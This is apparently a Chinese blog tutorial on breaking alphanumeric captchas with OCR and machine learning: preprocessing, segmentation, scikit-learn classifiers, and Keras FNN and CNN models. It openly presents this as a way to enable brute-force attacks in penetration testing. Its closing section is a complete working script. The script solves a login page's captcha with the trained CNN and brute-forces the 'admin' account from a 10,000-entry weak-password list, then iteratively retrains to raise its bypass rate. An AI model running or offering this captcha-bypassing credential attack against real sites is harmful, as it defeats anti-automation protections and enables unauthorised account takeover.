机器学习案例-验证码识别

最近几年出现了各种类型的验证码,比如滑动验证码、图片识别验证码、图像定位型验证码等等,不过大多数网站依然采用传统的数字字母型验证码,验证码对于防范暴力攻击、爬虫等有着良好的作用,如果能对验证码进行识别,那么在渗透测试过程中就可以进行暴力攻击了。

验证码识别的一般方法

Tesseract

Tesseract是Google的一款OCR软件,python的pytesseract或tesserocr库对其进行了封装,可以很方便的使用。参考:python3光学字符识别模块tesserocr与pytesseract

使用方法:

  1. 安装Tesseract
  2. 安装python库:pip install pytesseract
  3. 识别
1
2
3
4
5
import pytesseract
from PIL import Image
im=Image.open('image.png')
print(pytesseract.image_to_string(im))

对于简单的图片,Tesseract拥有不错的识别率,但对于复杂的图片则识别率较低,需要对其进行训练后才能提高识别率。

训练方法可参考:Tesseract-OCR的简单使用与训练

云平台的文字识别接口

目前各互联网公司均推出了云平台,多数均包含免费的图片识别功能,此处以百度云为例。

简单尝试可使用:https://cloud.baidu.com/product/ocr/general,但如果需要在代码中使用则需要注册百度账号,识别验证码需要使用其文字识别功能,目前(2019-03-06)通用文字识别可每日免费使用50000次,具体付费标准可参考:https://cloud.baidu.com/doc/OCR/OCR-Pricing.html

使用方法:

  1. 注册百度账号后登陆 百度云平台
  2. 找到人工智能-文字识别,创建一款应用,可获得apikey
  3. 参考http://ai.baidu.com/docs#/Auth/top可获得Access Token,有效期30天
  4. 识别
1
2
3
4
5
6
7
8
9
10
11
12
import base64
import requests
url = 'https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic?access_token=xxxxx'#百度识图api,token需更改为自己的
with open('image.png','rb') as f:
img = f.read()
data ={'image':base64.b64encode(img)}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"apikey": "xxxxxxxx" # apikey需更改为自己的
}
text = session.post(url, data=data, headers=headers).json()
print(text)

为了提高识别率,可以在上传前对图片进行一定的预处理,例如灰度化、二值化、增大图片像素、锐化、增大边缘等等,处理后的图片识别率会更高。

云平台相比Tesseract,其识别速度更快、识别率更高、软件更新速度更快,缺点是使用有一定的限制。

打码平台

网络上有很多的打码平台,提供付费的验证码识别服务。参考:https://www.cnblogs.com/xiao-apple36/p/8911787.html

机器学习

如果以上方法都不能满足需求,则可尝试使用机器学习算法来训练模型,以提高识别率。传统的机器学习分类算法一般包括:K近邻、贝叶斯、逻辑回归、决策树、svm等,除此之外,现在流行的神经网络也可以用于验证码识别,神经网络一般包括:FNN-前馈神经网络,CNN-卷积神经网络,RNN-循环神经网络,RNN-递归神经网络等,其中CNN最为擅长处理图像,而深度神经网络一般是指超过3层的神经网络。

机器学习识别验证码

一般流程

使用机器学习识别验证码的一般流程如下:

1
2
3
4
5
6
7
8
9
10
11
st=>start: 开始
op1=>operation: 数据采集
op2=>operation: 图像处理
op3=>operation: 图片切割
op4=>operation: 开始训练
cond=>condition: 验证
e=>end: 结束
st->op1->op2->op3->op4->cond
cond(yes)->e
cond(no)->op4

数据采集

下载图片

一般来说对于只有数字字母的验证码,拥有100张图片基本可以达到不错的识别效果,但如果想要提升识别率并进行验证,则可能需要下载更多的图片。为了加快下载速度,一般使用异步或多线程进行下载,这里提供一个python3.6以上版本可用的异步下载脚本,网络良好的话下载100张图片大约只需要2-3秒,下载10000张大约只需要30秒:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import time
import asyncio
import os
import string
import random
import traceback
import aiofiles
from aiohttp import ClientSession
async def hello(url, title):
try:
async with ClientSession() as session:
async with session.get(url) as response:
filename = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.png'
async with aiofiles.open(os.path.join(title, filename), 'wb') as fd:
while True:
chunk = await response.content.read(1024)
if not chunk:
break
await fd.write(chunk)
except Exception:
traceback.print_exc()
async def get(url, sem, title):
async with sem:
await hello(url, title)
def main():
dirname = os.path.dirname(__file__)
title = os.path.join(dirname, 'train_data') # 文件下载路径
if not os.path.exists(title):
os.mkdir(title)
loop = asyncio.get_event_loop() # 异步
captcha_url = 'https://*.*.*' # 图片url地址
sem = asyncio.Semaphore(500) # 异步并发数量控制
tasks = [get(captcha_url, sem, title) for _ in range(100)] # 下载图片的数量
loop.run_until_complete(asyncio.wait(tasks)) # 开始下载
loop.close()
if __name__ == '__main__':
main()

以上代码为从im系统中下载100张验证码图片到train_data目录中。

  • 识别验证码

下载下来的图片文件名均为随机字母,而机器学习需要知道图片内容,所以这里需要手动识别所有图片,并将文件重命名,方便后续使用。

图像处理

图片裁剪

一般图片都会是内容居中,并在边缘部分留出一部分空白,所以需要先把图片的这些多于部分裁剪掉,使用图片查看工具观察可以得出大致的范围,使用python的PIL可以轻松进行裁剪:

1
2
3
4
5
6
7
8
from PIL import Image
import os
dirname = os.path.dirname(__file__)
crop_range = (40, 20, 240, 90)
img_path = os.path.join(dirname, 'train_data', '2a3c.png')
image = Image.open(img_path)
image = image.crop(crop_range)
灰度化

一般图片均含有大量像素点,每一个像素点又含有2^24次方(RGB)种颜色,为了简化数据,故先对其进行灰度化处理。

灰度化,在RGB模型中,如果R=G=B时,则彩色表示一种灰度颜色,其中R=G=B的值叫灰度值,因此,灰度图像每个像素只需一个字节存放灰度值(又称强度值、亮度值),灰度范围为0-255。一般有分量法 最大值法平均值法加权平均法四种方法对彩色图像进行灰度化。

1
image = image.convert('L') # 灰度化

PIL只需要一行代码即可完成灰度化,灰度化只有每个像素点只含有2^8次方种颜色。

二值化

灰度化只有图片依然很复杂,故还需要进行进一步处理。二值化是根据灰度大小,将大于某个值的颜色取为白色,小于某个值则取为黑色,这个只即为阈值,阈值根据经验一般取值在100-200之间。对于白色背景的图片而言,值越大保留的有效像素越多,越小则有效像素越少。

1
2
3
THRESHOLD = 120 # 二值化阈值
TABLE = [0] * THRESHOLD + [1] * (256 - THRESHOLD)
image = image.point(TABLE, '1') # 二值化

二值化后每个像素只有2种颜色。

由于此验证码主要有黑白色构成,故灰度化不明显。且由于没有使用等宽字体,故裁剪时需注意要多留一些空白部分,以防遇到较宽的字母时将有效部分裁剪掉。

图片切割

验证码一般都是4个或6个字母在一张图片中,故还需要对图片进行切割,将各个字母分开,以便于识别。对于不同类型的验证码,需要视情况选择切割算法,一般常用的算法如下:

  • 暴力法

    直接将图片分成4份,或者如果验证码每个字母是等宽且位置固定,可通过观察获取每个字母的位置。

  • X轴投影

    将图片横纵轴视为坐标轴,从左到右检查,当某条线上没有像素点时可认为某个字母已结束,即可作为切割点。

  • 泛水填充法

    X轴投影的升级版,对于倾斜的字母,X轴投影就无效了,泛水填充法则像流水一样,从上到下找到一条能流通的线,作为切割线

  • 边缘检测

    通过检测图像边缘,将图像分为若干个部分,对于各字母没有粘连的情况具有比较好的效果。可参考:参考资料1。

  • 聚类

    通过对图片中像素点进行聚类,也可以进行分割。当各字母间分离得比较远,字母内部比较集中的情况可以取得不错的效果。

图片切割的质量对于后续的识别有非常大的影响,一般生成验证码时为了防止图片被简单的切割,都会采用添加干扰线、倾斜、翻转、位移等方法,大大增加图片切割难度。

除了以上方法外,还有很多算法,可参考:图像分割的主要算法

本次的验证码经过尝试,发现没有特别好的办法,故采用暴力法,直接将图片分成4份,效果如下:

开始训练

传统机器学习算法

python的sk-learn库中基本包含了目前流行的所有传统机器学习算法,以下代码基本包含了常用的算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
# coding:utf-8
import os
import time
from PIL import Image
import numpy as np
import matplotlib.pyplot as plt
from sklearn.naive_bayes import GaussianNB, BernoulliNB, MultinomialNB
from sklearn.linear_model import LogisticRegression, LinearRegression, Ridge, Lasso, ElasticNet, HuberRegressor
from sklearn.neighbors import KNeighborsClassifier
from sklearn.ensemble import BaggingClassifier, ExtraTreesClassifier, RandomForestClassifier, VotingClassifier, AdaBoostClassifier, GradientBoostingClassifier
from sklearn.tree import DecisionTreeClassifier
from sklearn import svm
from sklearn.neural_network import MLPClassifier
from sklearn.model_selection import train_test_split
from xgboost import XGBClassifier
THRESHOLD = 120 # 二值化阈值
TABLE = [0] * THRESHOLD + [1] * (256 - THRESHOLD)
image_size = (70, 50) # 每个字母的图片大小
crop_range = (40, 20, 240, 90) # 图片裁剪范围
image_count = 4 # 一张验证码图片包含的字符数
result_count = 20 # 最终结果总共有多少个不同的字符,字母一共26个,但由于部分不易于识别,故一般不会使用全部的字母
dirname = os.path.dirname(__file__) # 当前路径
def split_img_easy(img_path, save_path=None):
"""
图片预处理及切割,生成器
:param img_path: 需要处理的图片路径
:param save_path: 处理完之后需要保存的路径,默认不保存
:return: 处理后的图片,一张验证码共返回四次,Image对象
"""
image = Image.open(img_path)
image = image.crop(crop_range) # 裁剪
image = image.convert('L') # 灰度化
image = image.point(TABLE, '1') # 二值化
for i in range(image_count):
temp_image = image.crop((image.size[0]//image_count*i, 0, image.size[0]//image_count*(i+1), image.size[1]))
if save_path:
filename = os.path.splitext(os.path.basename(img_path))[0]
temp_image.save(os.path.join(save_path, f'{filename}-{i}.png'))
yield temp_image
def train():
base = os.path.join(dirname, 'train_data') # 训练集路径
file_list = os.listdir(base)
images = [j for i in file_list for j in split_img_easy(os.path.join(base, i))]
data_x = np.array([np.array(i) for i in images]).astype(int).reshape((-1, image_size[0]*image_size[1]))
data_y = np.fromiter(map(ord, ''.join([os.path.splitext(i)[0] for i in file_list])), dtype=int)
x_train, x_test, y_train, y_test = train_test_split(data_x, data_y, test_size=0.3) # 70%为训练街,30%为测试集
names, scores = [], [] # 保存不同训练模型的结果
# K近邻
model = KNeighborsClassifier(n_neighbors=1, p=1)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('Knn')
print('Knn over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 决策树
model = DecisionTreeClassifier()
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('tree')
print('tree over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 朴素贝叶斯,伯努利
model = BernoulliNB() # 96.7%
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('BNB')
print('BNB over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 朴素贝叶斯,高斯
model = GaussianNB() # 93%
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('GNB')
print('GNB over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 朴素贝叶斯,多项式
model = MultinomialNB() # 89%
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('MNB')
print('MNB over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# Bagging 元估计器
model = BaggingClassifier(base_estimator=DecisionTreeClassifier(), n_estimators=100)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('Bagging')
print('Bagging over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 随机森林
model = RandomForestClassifier(n_estimators=100)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('RF')
print('RF over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 极限随机树
model = ExtraTreesClassifier(n_estimators=100, max_features="auto")
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('ET')
print('ET over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# AdaBoost
model = AdaBoostClassifier(DecisionTreeClassifier(), n_estimators=100)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('ADB')
print('ADB over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# Gradient Boosting
model = GradientBoostingClassifier(n_estimators=100)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('GB')
print('GB over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 逻辑回归
model = LogisticRegression()
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('Logistic')
print('Logistic over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 线性回归模型
model = LinearRegression()
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('Liner')
print('Liner over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 岭回归
model = Ridge(alpha=1, solver="cholesky")
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('Ridge')
print('Ridge over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# Lasso回归
model = Lasso(alpha=0.1)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('Lasso')
print('Lasso over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 弹性网路正则化,即l1、l2混合正则化
model = ElasticNet(alpha=0.1, l1_ratio=0.5)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('ENet')
print('ENet over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# softmax回归
model = LogisticRegression(multi_class="multinomial", solver="lbfgs", C=10)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('softmax')
print('softmax over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# Huber回归
model = HuberRegressor()
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('Huber')
print('Huber over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 多层感知机
model = MLPClassifier(activation='relu', solver='adam', alpha=0.0001)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('MLPC')
print('MLPC over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# SVM多分类,高斯核,除此之外还有‘linear’:线性核函数;‘poly’:多项式核函数;‘rbf’:径像核函数/高斯核;‘sigmod’:sigmod核函数;‘precomputed’:核矩阵
model = svm.SVC(kernel='rbf')
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('SVC')
print('SVC over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# SVM多分类,线性核函数
model = svm.LinearSVC()
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('LSVC')
print('LinearSVC over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# SVR支持向量回归
model = svm.SVR() # 57.8%
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('SVR')
print('SVR over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# NuSVC
model = svm.NuSVC(nu=0.1)
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('NuSVC')
print('NuSVC over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# Xgboost
model = XGBClassifier()
model.fit(x_train,y_train)
scores.append(model.score(x_test, y_test))
names.append('Xgb')
print('Xgboost over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
# 多个集成,此处集成朴素贝叶斯,决策树,K近邻,加权平均概率(软投票)
estimators = []
model1 = BernoulliNB()
estimators.append(('bayes', model1))
model2 = DecisionTreeClassifier()
estimators.append(('tree', model2))
model3 = KNeighborsClassifier()
estimators.append(('knn', model3))
model = VotingClassifier(estimators, voting='soft', weights=[97, 96, 99])
model.fit(x_train, y_train)
scores.append(model.score(x_test, y_test))
names.append('Voting')
print('Voting over! The score is ', f'{scores[-1]*100:.2f}% ! Time: ', time.clock())
print(names, scores, sep='\n')
plt.plot(names, scores)
plt.show()
if __name__ == "__main__":
train()

可以看到在训练集并不大的情况下,部分算法可以取得很不错的效果,但这仅仅是在本地测试,且测试的是单个字母的识别率,由于在最终使用时需要一起识别四个字母,且必须全部识别正确才算成功,故对于单个字母识别率为90%的算法,四个字母都识别正确的概率仅为0.9^4=0.66。要使最终识别率大于80%,需要单个字母识别率大于95%;要使最终识别率大于90%,则需要单个字母识别率大于98%。

要提高识别率,一般可以从以下几点着手:

  1. 提高图片预处理的效果
  2. 加大训练集的数量
  3. 超参数调优
  4. 使用多个不同的算法,最终进行投票

另外为了节约时间,可以将图片处理结果先保存下来,下次直接读取即可。

深度神经网络-FNN

传统的机器学习算法一般都能满足大多数场景的需求,但要想进一步提升识别率,可尝试使用深度神经网络。常用深度学习框架见机器学习简介。本文使用Keras框架,TensorFlow作为后端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from PIL import Image
import numpy as np
from sklearn.model_selection import train_test_split
from keras.models import Sequential
from keras.utils import to_categorical
from sklearn.preprocessing import LabelEncoder
from keras.layers.core import Dense
from sklearn.externals import joblib
THRESHOLD = 120 # 二值化阈值
TABLE = [0] * THRESHOLD + [1] * (256 - THRESHOLD)
image_size = (70, 50) # 每个字母的图片大小
crop_range = (40, 20, 240, 90) # 图片裁剪范围
image_count = 4 # 一张验证码图片包含的字符数
result_count = 20 # 最终结果总共有多少个不同的字符,字母一共26个,但由于部分不易于识别,故一般不会使用全部的字母
dirname = os.path.dirname(__file__) # 当前路径
def split_img_easy(img_path, save_path=None):
"""
图片预处理及切割,生成器
:param img_path: 需要处理的图片路径
:param save_path: 处理完之后需要保存的路径,默认不保存
:return: 处理后的图片,一张验证码共返回四次,Image对象
"""
image = Image.open(img_path)
image = image.crop(crop_range) # 裁剪
image = image.convert('L') # 灰度化
image = image.point(TABLE, '1') # 二值化
for i in range(image_count):
temp_image = image.crop((image.size[0]//image_count*i, 0, image.size[0]//image_count*(i+1), image.size[1]))
if save_path:
filename = os.path.splitext(os.path.basename(img_path))[0]
temp_image.save(os.path.join(save_path, f'{filename}-{i}.png'))
yield temp_image
def train():
base = os.path.join(dirname, 'train_data') # 训练集路径
file_list = os.listdir(base)[:100]
images = [j for i in file_list for j in split_img_easy(os.path.join(base, i))]
data_x = np.array([np.array(i) for i in images]).astype(int).reshape((-1, image_size[0]*image_size[1]))
data_y = np.fromiter(map(ord, ''.join([os.path.splitext(i)[0] for i in file_list])), dtype=int)
# 数据输入神经网络前需要进行处理
encoder = LabelEncoder()
encoder.fit(np.ravel(data_y))
data_y = to_categorical(encoder.transform(np.ravel(data_y))) # one-hot编码
joblib.dump(encoder, os.path.join(os.path.dirname(base), 'encoder.h5')) # 保存编码器
x_train, x_test, y_train, y_test = train_test_split(data_x, data_y, test_size=0.3) # 70%为训练街,30%为测试集
# 建立神经网络模型,一共使用12层网络,每层100个神经元,激活函数使用线性整流函数relu,最后一层使用softmax
model = Sequential([Dense(3500, input_dim=3500, activation='relu'), Dense(100, activation='relu'),
Dense(100, activation='relu'), Dense(100, activation='relu'),
Dense(100, activation='relu'), Dense(100, activation='relu'),
Dense(100, activation='relu'), Dense(100, activation='relu'),
Dense(100, activation='relu'), Dense(100, activation='relu'),
Dense(100, activation='relu'), Dense(result_count, activation='softmax')])
# 损失函数使用二元交叉熵,优化器使用adam,评价函数为accuracy
model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])
# 开始训练,每个数据使用20次
model.fit(x_train, y_train, epochs=20, verbose=0)
model.save(os.path.join(os.path.dirname(base), 'model.h5')) # 保存训练结果
score = model.evaluate(x_test, y_test, verbose=0)
print(score, "%s: %.2f%%" % (model.metrics_names[1], score[1] * 100), sep='\n')
if __name__ == '__main__':
train()

使用Keras可以非常快速地建立一个简单的神经网络模型,本文建立了一个12层的FNN,仅使用70余行代码,并且训练耗时大约1分钟,最终单个字母识别率可以达到95.67%。

深度神经网络-CNN

相比于全连接型的神经网络,卷积神经网络更为擅长处理图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from PIL import Image
import numpy as np
from sklearn.model_selection import train_test_split
from keras.models import Sequential
from keras.utils import to_categorical
from sklearn.preprocessing import LabelEncoder
from keras.layers.convolutional import Conv2D, MaxPooling2D
from keras.layers.core import Dense, Flatten
from sklearn.externals import joblib
THRESHOLD = 120 # 二值化阈值
TABLE = [0] * THRESHOLD + [1] * (256 - THRESHOLD)
image_size = (70, 50) # 每个字母的图片大小
crop_range = (40, 20, 240, 90) # 图片裁剪范围
image_count = 4 # 一张验证码图片包含的字符数
result_count = 20 # 最终结果总共有多少个不同的字符,字母一共26个,但由于部分不易于识别,故一般不会使用全部的字母
dirname = os.path.dirname(__file__) # 当前路径
def split_img_easy(img_path, save_path=None):
"""
图片预处理及切割,生成器
:param img_path: 需要处理的图片路径
:param save_path: 处理完之后需要保存的路径,默认不保存
:return: 处理后的图片,一张验证码共返回四次,Image对象
"""
image = Image.open(img_path)
image = image.crop(crop_range) # 裁剪
image = image.convert('L') # 灰度化
image = image.point(TABLE, '1') # 二值化
for i in range(image_count):
temp_image = image.crop((image.size[0]//image_count*i, 0, image.size[0]//image_count*(i+1), image.size[1]))
if save_path:
filename = os.path.splitext(os.path.basename(img_path))[0]
temp_image.save(os.path.join(save_path, f'{filename}-{i}.png'))
yield temp_image
def train():
base = os.path.join(dirname, 'train_data') # 训练集路径
file_list = os.listdir(base)
images = [j for i in file_list for j in split_img_easy(os.path.join(base, i))]
data_x = np.array([np.array(i) for i in images]).astype(int).reshape((-1, image_size[0] * image_size[1]))
data_y = np.fromiter(map(ord, ''.join([os.path.splitext(i)[0] for i in file_list])), dtype=int)
# 数据输入神经网络前需要进行处理
data_x = data_x.reshape((len(file_list) * image_count, image_size[1], image_size[0], 1))
encoder = LabelEncoder()
encoder.fit(np.ravel(data_y))
data_y = to_categorical(encoder.transform(np.ravel(data_y)))
joblib.dump(encoder, os.path.join(os.path.dirname(base), 'encoder.h5'))
x_train, x_test, y_train, y_test = train_test_split(data_x, data_y, test_size=0.3)
model = Sequential()
model.add(Conv2D(32, kernel_size=(5, 5), strides=(1, 1), activation='relu',
input_shape=(image_size[1], image_size[0], 1)))
model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))
model.add(Conv2D(64, (5, 5), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten())
model.add(Dense(1000, activation='relu'))
model.add(Dense(result_count, activation='softmax'))
model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])
model.fit(x_train, y_train, epochs=20, verbose=0)
model.save(os.path.join(os.path.dirname(base), 'model.h5'))
score = model.evaluate(x_test, y_test, verbose=0)
print(score, "%s: %.2f%%" % (model.metrics_names[1], score[1] * 100), sep='\n')
if __name__ == '__main__':
train()

CNN的训练耗时差不多也在1分钟左右,但最终的识别率为98.96%,相比于FNN有不小的提升。

在线验证

一般而言,进行本地验证时,由于数据量小,识别率相较于真实环境而言会更高,故本次以暴力破解账号密码为例进行在线验证。

在登录过程中,一般账号或密码错误会是同一个提示,而验证码错误会是另一个提示,故可以根据提示的内容判断验证码是否识别正确。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import requests
import threading
import re
import random
import socket
import struct
import numpy as np
from keras.models import load_model
from sklearn.externals import joblib
from PIL import Image
import string
THRESHOLD = 120 # 二值化阈值
TABLE = [0] * THRESHOLD + [1] * (256 - THRESHOLD)
image_size = (70, 50) # 每个字母的图片大小
crop_range = (40, 20, 240, 90) # 图片裁剪范围
image_count = 4 # 一张验证码图片包含的字符数
result_count = 20 # 最终结果总共有多少个不同的字符,字母一共26个,但由于部分不易于识别,故一般不会使用全部的字母
dirname = os.path.dirname(__file__) # 当前路径
def split_img_easy(img_path, save_path=None):
"""
图片预处理及切割,生成器
:param img_path: 需要处理的图片路径
:param save_path: 处理完之后需要保存的路径,默认不保存
:return: 处理后的图片,一张验证码共返回四次,Image对象
"""
image = Image.open(img_path)
image = image.crop(crop_range) # 裁剪
image = image.convert('L') # 灰度化
image = image.point(TABLE, '1') # 二值化
for i in range(image_count):
temp_image = image.crop((image.size[0]//image_count*i, 0, image.size[0]//image_count*(i+1), image.size[1]))
if save_path:
filename = os.path.splitext(os.path.basename(img_path))[0]
temp_image.save(os.path.join(save_path, f'{filename}-{i}.png'))
yield temp_image
def crack():
correct, total = 0, 0 # 记录验证码正确数与总数
session = requests.Session()
session.trust_env = False
captcha_url = 'https://*.*.*/captcha/captcha-image' # 验证码图片路径
login_url = 'https://*.*.*/loginProcess' # 登录接口
data = {
'j_username': 'admin',
'j_password': 'admin',
'j_captcha': '',
}
password_key = 'j_password' # 参数
headers = {
'Referer': 'https://*.*.*/login',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36'
}
with open('10000pass.txt', 'r') as f:
passwords = [i.strip() for i in f.readlines()] # 弱密码表
model = load_model(os.path.join(dirname, 'model.h5'))
encoder = joblib.load(os.path.join(dirname, 'encoder.h5'))
filename = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.png'
image_path = os.path.join(dirname, filename) # 验证码临时保存路径
for index, password in enumerate(passwords):
data[password_key] = password
captcha_error = 0
while captcha_error < 5: # 同一个密码验证码最多错误5次
with open(image_path, 'wb') as image:
image.write(session.get(captcha_url, headers=headers).content)
total += 1
images = [j for j in split_img_easy(image_path)]
data_x = np.array([np.array(i) for i in images]).astype(int).reshape((-1, image_size[0] * image_size[1]))
data_x = data_x.reshape((image_count, image_size[1], image_size[0], 1))
predict_test = model.predict_classes(data_x)
inverted = encoder.inverse_transform(predict_test)
captcha = ''.join([chr(i) for i in inverted])
data['j_captcha'] = captcha
res = session.post(login_url, data=data, headers=headers) # , headers=headers
if '验证码错误' in res.text:
print('验证码错误: ', captcha)
new_name = os.path.join(dirname, 'temp', f'{captcha}.png')
if not os.path.isfile(new_name):
os.rename(image_path, new_name) # 将错误的验证码保存起来,修正后加入训练集,可提高识别率
captcha_error += 1
else:
correct += 1
break
if captcha_error >= 5:
print('验证码错误次数超过5次, 密码:', password)
elif '登录失败' in res.text:
print(index, '密码错误:', password)
else:
print(f'找到密码:{password}')
break
print(f'正确数/总数:{correct}/{total};', "识别率: ", correct/total*100, '%', sep='')
if __name__ == '__main__':
crack()

经过初步测试可以发现,识别率还不到40%,远远低于预期,这是因为训练集太小。我们可以在验证过程中将识别正确的验证码加入训练集,将识别错误的先保存起来,修改后加入训练集,逐步迭代升级模型,直到满意为止。另外还可以不断调整超参数,修改神经网络的结构,也能提高识别率。

最终将训练集大约增大到500左右,可以使最终的识别率超过80%,基本能满足需求。

总结

验证码识别是一个经典的机器学习场景,不同的算法各有其优缺点,并且大部分算法都有很大的优化空间。不过通过以上过程可以看出,神经网络相较于传统的机器学习算法还是拥有很大的优势的,实践过程中一般都需要进行多方面的对比,从而选择出满意的模型。

参考资料

  1. 如何用机器学习在15分钟内破解一个验证码系统